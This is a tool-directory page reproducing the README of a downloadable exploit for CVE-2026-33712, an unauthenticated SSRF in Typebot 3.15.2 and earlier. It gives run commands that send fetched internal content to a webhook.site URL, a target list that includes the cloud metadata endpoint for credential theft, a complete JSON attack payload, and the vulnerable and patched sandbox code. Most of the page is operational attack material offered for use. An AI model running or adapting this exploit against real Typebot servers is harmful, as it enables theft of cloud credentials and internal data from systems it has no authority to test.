Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 Unauthenticated SSRF via isolated-vm sandbox fetch | Kitploit
Tools/GitHubGitHub/portbuster1337/cve-2026-33712
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 Unauthenticated SSRF via isolated-vm sandbox fetch

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33712 - Typebot Unauthenticated SSRF

Description

Typebot <= 3.15.2 (fixed in 3.16.0) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the preview chat endpoint.

Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat

The preview endpoint accepts a user-supplied typebot definition with server-side Code blocks. The fetch() function exposed inside the isolated-vm sandbox calls Node.js native fetch without the validateHttpReqUrl() SSRF validation that protects the regular HTTP Request block. This bypasses all SSRF mitigations.

Disclaimer

This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool.

Impact

  • Cloud credential theft (AWS IMDS, GCP metadata, Azure IMDS)
  • Internal network access to Docker containers and private subnets
  • Data exfiltration from internal services
  • SMTP_FROM / admin email disclosure via __ENV.js

Files

FileDescription
exploit.pyMain exploit script
endpoints.txtOne URL per line — SSRF targets to scan
requirements.txtPython dependencies

Usage

root@kitploit:~
pip install -r requirements.txt

# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

Arguments

Behaviour

  1. Auto-scheme — if you pass bot.example.com without http://, it's prepended automatically.
  2. Pre-flight — before any request, the script probes the target and classifies it as vulnerable, patched (auth required), or endpoint_missing (wrong URL/version). Exits early on failure unless --force is set.
  3. Scan mode — reads endpoints.txt, iterates each URL, exfiltrates content to the webhook.
  4. Exfiltration — content is sent as POST body to the webhook URL (not as query params), avoiding URL length limits.

endpoints.txt

One raw URL per line. Blank lines are ignored. No comments, no categories.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

Vulnerable Code Path

In packages/variables/src/executeFunction.ts, the fetch() exposed inside the isolated-vm sandbox originally called Node.js native fetch without SSRF validation:

root@kitploit:~
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

The fix (commit d96f572) also reordered checks in getTypebot() so auth validation runs before the custom typebot shortcut, and moved the viewer's preview endpoint from procedureWithOptionalUser to protectedProcedure.

Payload Structure

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Important: fetch() inside the sandbox returns .text() already, so the result is a string, not a Response object.

Download Tool
ArgDescription
-t / --targetTypebot instance URL (viewer or builder). Scheme defaults to http://
-u / --urlInternal URL to fetch via SSRF (single mode)
-w / --webhookWebhook URL for exfiltrated data (or WEBHOOK_URL env var)
--scanScan all URLs from endpoints.txt
--detect-viewerProbe /__ENV.js on target to find NEXT_PUBLIC_VIEWER_URL and use it
--forceSkip pre-flight checks and force execution
--timeoutRequest timeout (default: 20s)
--delayDelay between scan requests (default: 0.3s)